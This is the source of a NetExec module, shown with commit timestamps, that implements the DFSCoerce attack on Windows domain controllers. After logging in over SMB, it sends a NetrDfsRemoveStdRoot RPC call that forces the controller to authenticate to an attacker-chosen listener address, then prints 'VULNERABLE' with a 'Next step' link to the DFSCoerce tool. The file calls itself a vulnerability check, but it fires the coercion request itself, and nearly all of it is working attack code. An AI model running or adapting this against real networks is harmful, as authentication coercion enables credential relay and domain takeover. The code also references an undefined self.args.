NetExec/nxc/modules/dfscoerce.py

154 lines
5.1 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2022-06-29 06:09:52 +00:00
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
2022-06-29 06:09:52 +00:00
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
2022-06-29 06:09:52 +00:00
class NXCModule:
2023-05-02 15:17:59 +00:00
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
2023-05-02 15:17:59 +00:00
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
2023-03-31 17:49:25 +00:00
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.listener = None
2022-06-29 06:09:52 +00:00
def options(self, context, module_options):
"""
LISTENER Listener Address (defaults to 127.0.0.1)
"""
2022-06-29 06:09:52 +00:00
self.listener = "127.0.0.1"
2023-05-02 15:17:59 +00:00
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
2022-06-29 06:09:52 +00:00
def on_login(self, context, connection):
trigger = TriggerAuth()
2023-05-02 15:17:59 +00:00
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
2023-05-08 18:39:36 +00:00
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
2023-05-02 15:17:59 +00:00
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
2023-07-03 17:18:33 +00:00
aesKey=connection.aesKey,
2023-05-02 15:17:59 +00:00
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
2022-06-29 06:09:52 +00:00
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
2023-05-02 15:17:59 +00:00
2022-06-29 06:09:52 +00:00
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
2022-06-29 06:09:52 +00:00
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
2023-05-02 15:17:59 +00:00
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
2022-06-29 06:09:52 +00:00
else:
2023-09-24 04:06:51 +00:00
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
2023-05-02 15:17:59 +00:00
2022-06-29 06:09:52 +00:00
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
2023-05-02 15:17:59 +00:00
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
2022-06-29 06:09:52 +00:00
)
2022-06-29 06:09:52 +00:00
class NetrDfsRemoveStdRootResponse(NDRCALL):
2023-05-02 15:17:59 +00:00
structure = (("ErrorCode", ULONG),)
2022-06-29 06:09:52 +00:00
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
2023-05-02 15:17:59 +00:00
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
2022-06-29 06:09:52 +00:00
class NetrDfsAddRootResponse(NDRCALL):
2023-05-02 15:17:59 +00:00
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
2023-07-03 17:18:33 +00:00
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
2023-05-08 18:39:36 +00:00
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
2023-05-02 15:17:59 +00:00
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
2023-07-03 17:18:33 +00:00
aesKey=aesKey,
2023-05-02 15:17:59 +00:00
)
2022-06-29 06:09:52 +00:00
2023-02-08 11:09:52 +00:00
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
2023-05-02 15:17:59 +00:00
# if target:
2022-06-29 06:09:52 +00:00
# rpctransport.setRemoteHost(target)
2023-05-02 15:17:59 +00:00
2022-06-29 06:09:52 +00:00
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
2022-06-29 06:09:52 +00:00
try:
dce.connect()
except Exception as e:
2023-09-24 04:06:51 +00:00
nxc_logger.debug(f"Something went wrong, check error status => {str(e)}")
2022-06-29 06:09:52 +00:00
return
try:
2023-05-02 15:17:59 +00:00
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
2022-06-29 06:09:52 +00:00
except Exception as e:
2023-09-24 04:06:51 +00:00
nxc_logger.debug(f"Something went wrong, check error status => {str(e)}")
2022-06-29 06:09:52 +00:00
return
nxc_logger.debug("[+] Successfully bound!")
2022-06-29 06:09:52 +00:00
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
2022-06-29 06:09:52 +00:00
try:
request = NetrDfsRemoveStdRoot()
2023-09-24 04:06:51 +00:00
request["ServerName"] = f"{listener}\x00"
2023-05-02 15:17:59 +00:00
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
2022-06-29 06:09:52 +00:00
if self.args.verbose:
nxc_logger.debug(request.dump())
# logger.debug(request.dump())
2023-09-20 15:59:16 +00:00
dce.request(request)
2022-06-29 06:09:52 +00:00
except Exception as e:
nxc_logger.debug(e)